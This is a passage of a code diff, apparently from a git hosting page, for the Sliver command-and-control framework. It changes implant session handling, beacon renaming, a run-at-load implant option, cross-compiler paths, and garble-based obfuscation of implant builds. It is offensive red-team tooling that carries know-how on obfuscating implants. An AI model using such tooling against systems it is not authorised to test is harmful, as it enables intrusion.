|
||||
// close(resp)
|
||||
delete(s.Connection.Resp, reqID)
|
||||
}()
|
||||
s.Connection.Send <- &sliverpb.Envelope{
|
||||
if timeout == 0 {
|
||||
timeout = 60 * time.Second
|
||||
}
|
||||
select {
|
||||
case s.Connection.Send <- &sliverpb.Envelope{
|
||||
ID: reqID,
|
||||
Type: msgType,
|
||||
Data: data,
|
||||
}:
|
||||
case <-time.After(timeout):
|
||||
return nil, ErrImplantTimeout
|
||||
}
|
||||
|
||||
var respEnvelope *sliverpb.Envelope
|
||||
@@ -202,6 +216,7 @@ func (s *sessions) Remove(sessionID string) {
|
||||
for _, child := range children {
|
||||
childSession, ok := s.sessions.LoadAndDelete(child.SessionID)
|
||||
if ok {
|
||||
PivotSessions.Delete(childSession.(*Session).Connection.ID)
|
||||
EventBroker.Publish(Event{
|
||||
EventType: consts.SessionClosedEvent,
|
||||
Session: childSession.(*Session),
|
||||
|
||||
@@ -293,6 +293,17 @@ func ListBeacons() ([]*models.Beacon, error) {
|
||||
return beacons, err
|
||||
}
|
||||
|
||||
// RenameBeacon - Rename a beacon
|
||||
func RenameBeacon(beaconID string, name string) error {
|
||||
err := Session().Where(&models.Beacon{
|
||||
ID: uuid.FromStringOrNil(beaconID),
|
||||
}).Updates(models.Beacon{Name: name}).Error
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
|
||||
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
|
||||
tasks := []*models.BeaconTask{}
|
||||
|
||||
@@ -124,6 +124,8 @@ type ImplantConfig struct {
|
||||
IsService bool
|
||||
IsShellcode bool
|
||||
|
||||
RunAtLoad bool
|
||||
|
||||
FileName string
|
||||
}
|
||||
|
||||
|
||||
@@ -64,12 +64,12 @@ var (
|
||||
},
|
||||
"darwin": {
|
||||
"windows": {
|
||||
"386": "/usr/local/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/usr/local/bin/x86_64-w64-mingw32-gcc",
|
||||
"386": "/opt/homebrew/bin/i686-w64-mingw32-gcc",
|
||||
"amd64": "/opt/homebrew/bin/x86_64-w64-mingw32-gcc",
|
||||
},
|
||||
"linux": {
|
||||
// brew install FiloSottile/musl-cross/musl-cross
|
||||
"amd64": "/usr/local/bin/x86_64-linux-musl-gcc",
|
||||
"amd64": "/opt/homebrew/bin/x86_64-linux-musl-gcc",
|
||||
},
|
||||
},
|
||||
}
|
||||
@@ -170,6 +170,8 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
|
||||
cfg.IsService = pbConfig.IsService
|
||||
cfg.IsShellcode = pbConfig.IsShellcode
|
||||
|
||||
cfg.RunAtLoad = pbConfig.RunAtLoad
|
||||
|
||||
cfg.CanaryDomains = []models.CanaryDomain{}
|
||||
for _, pbCanary := range pbConfig.CanaryDomains {
|
||||
cfg.CanaryDomains = append(cfg.CanaryDomains, models.CanaryDomain{
|
||||
@@ -264,9 +266,10 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOPRIVATE: goPrivate(config),
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
if err != nil {
|
||||
@@ -336,9 +339,10 @@ func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, err
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOROOT: gogo.GetGoRootDir(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOPRIVATE: goPrivate(config),
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
if err != nil {
|
||||
@@ -396,9 +400,10 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
|
||||
GOCACHE: gogo.GetGoCache(appDir),
|
||||
GOMODCACHE: gogo.GetGoModCache(appDir),
|
||||
GOPROXY: getGoProxy(),
|
||||
HTTPPROXY: getGoHttpProxy(),
|
||||
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOPRIVATE: goPrivate(config),
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
@@ -642,7 +647,7 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
|
||||
return "", err
|
||||
}
|
||||
buildLog.Debugf("Created %s", goModPath)
|
||||
output, err := gogo.GoMod((*goConfig), sliverPkgDir, []string{"tidy"})
|
||||
output, err := gogo.GoMod((*goConfig), sliverPkgDir, []string{"tidy", "-compat=1.17"})
|
||||
if err != nil {
|
||||
buildLog.Errorf("Go mod tidy failed:\n%s", output)
|
||||
return "", err
|
||||
@@ -857,6 +862,16 @@ func getGoProxy() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
func getGoHttpProxy() string {
|
||||
value, present := os.LookupEnv("HTTP_PROXY")
|
||||
if present {
|
||||
buildLog.Debugf("Using HTTP_PROXY from env: %s", value)
|
||||
return value
|
||||
}
|
||||
buildLog.Debugf("No HTTP_PROXY found")
|
||||
return ""
|
||||
}
|
||||
|
||||
const (
|
||||
// GoPrivate - The default Go private arg to garble when obfuscation is enabled.
|
||||
// Wireguard dependencies prevent the use of wildcard github.com/* and golang.org/*.
|
||||
|
||||
@@ -75,9 +75,7 @@ func (g *CanaryGenerator) GenerateCanary() string {
|
||||
index := insecureRand.Intn(len(g.ParentDomains))
|
||||
|
||||
parentDomain := g.ParentDomains[index]
|
||||
if strings.HasPrefix(parentDomain, ".") {
|
||||
parentDomain = parentDomain[1:]
|
||||
}
|
||||
parentDomain = strings.TrimPrefix(parentDomain, ".")
|
||||
if !strings.HasSuffix(parentDomain, ".") {
|
||||
parentDomain += "." // Ensure we have the FQDN
|
||||
}
|
||||
|
||||
+11
-16
@@ -20,8 +20,6 @@ package gogo
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -57,9 +55,10 @@ type GoConfig struct {
|
||||
CGO string
|
||||
CC string
|
||||
CXX string
|
||||
HTTPPROXY string
|
||||
|
||||
Obfuscation bool
|
||||
GOPRIVATE string
|
||||
GOGARBLE string
|
||||
}
|
||||
|
||||
// GetGoRootDir - Get the path to GOROOT
|
||||
@@ -82,24 +81,18 @@ func GetGoModCache(appDir string) string {
|
||||
}
|
||||
|
||||
// The Gb limit here is somewhat arbitrary but is based on my own testing
|
||||
func garbleMaxLiteralSize() []string {
|
||||
func garbleMaxLiteralSize() string {
|
||||
vmStat, err := mem.VirtualMemory()
|
||||
if err != nil {
|
||||
gogoLog.Errorf("Failed to detect amount of system memory: %s", err)
|
||||
return []string{"-literals-max-size", fmt.Sprintf("%d", 1*kb)} // Use default
|
||||
return fmt.Sprintf("%d", 1*kb) // Use default
|
||||
}
|
||||
if 10*gb < vmStat.Total {
|
||||
gogoLog.Infof("More than 10Gb of system memory, enable large literal obfuscation")
|
||||
return []string{"-literals-max-size", fmt.Sprintf("%d", 64*kb)}
|
||||
return fmt.Sprintf("%d", 64*kb)
|
||||
}
|
||||
gogoLog.Infof("Low system memory, disable large literal obfuscation")
|
||||
return []string{"-literals-max-size", fmt.Sprintf("%d", 2*kb)}
|
||||
}
|
||||
|
||||
func seed() string {
|
||||
seed := make([]byte, 32)
|
||||
rand.Read(seed)
|
||||
return hex.EncodeToString(seed)
|
||||
return fmt.Sprintf("%d", 2*kb)
|
||||
}
|
||||
|
||||
// GarbleCmd - Execute a go command
|
||||
@@ -109,8 +102,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
return nil, fmt.Errorf(fmt.Sprintf("Invalid compiler target: %s", target))
|
||||
}
|
||||
garbleBinPath := filepath.Join(config.GOROOT, "bin", "garble")
|
||||
garbleFlags := []string{fmt.Sprintf("-seed=%s", seed()), "-literals"}
|
||||
garbleFlags = append(garbleFlags, garbleMaxLiteralSize()...)
|
||||
garbleFlags := []string{"-seed=random", "-literals"}
|
||||
command = append(garbleFlags, command...)
|
||||
cmd := exec.Command(garbleBinPath, command...)
|
||||
cmd.Dir = cwd
|
||||
@@ -122,9 +114,11 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOPATH=%s", config.ProjectDir),
|
||||
fmt.Sprintf("GOCACHE=%s", config.GOCACHE),
|
||||
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
|
||||
fmt.Sprintf("GOPRIVATE=%s", config.GOPRIVATE),
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("GARBLE_MAX_LITERAL_SIZE=%s", garbleMaxLiteralSize()),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
fmt.Sprintf("GOGARBLE=%s", config.GOGARBLE),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
var stderr bytes.Buffer
|
||||
@@ -160,6 +154,7 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
|
||||
fmt.Sprintf("GOCACHE=%s", config.GOCACHE),
|
||||
fmt.Sprintf("GOMODCACHE=%s", config.GOMODCACHE),
|
||||
fmt.Sprintf("GOPROXY=%s", config.GOPROXY),
|
||||
fmt.Sprintf("HTTP_PROXY=%s", config.HTTPPROXY),
|
||||
fmt.Sprintf("PATH=%s:%s", filepath.Join(config.GOROOT, "bin"), os.Getenv("PATH")),
|
||||
}
|
||||
var stdout bytes.Buffer
|
||||
|
||||
Loaded 100 of 732 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user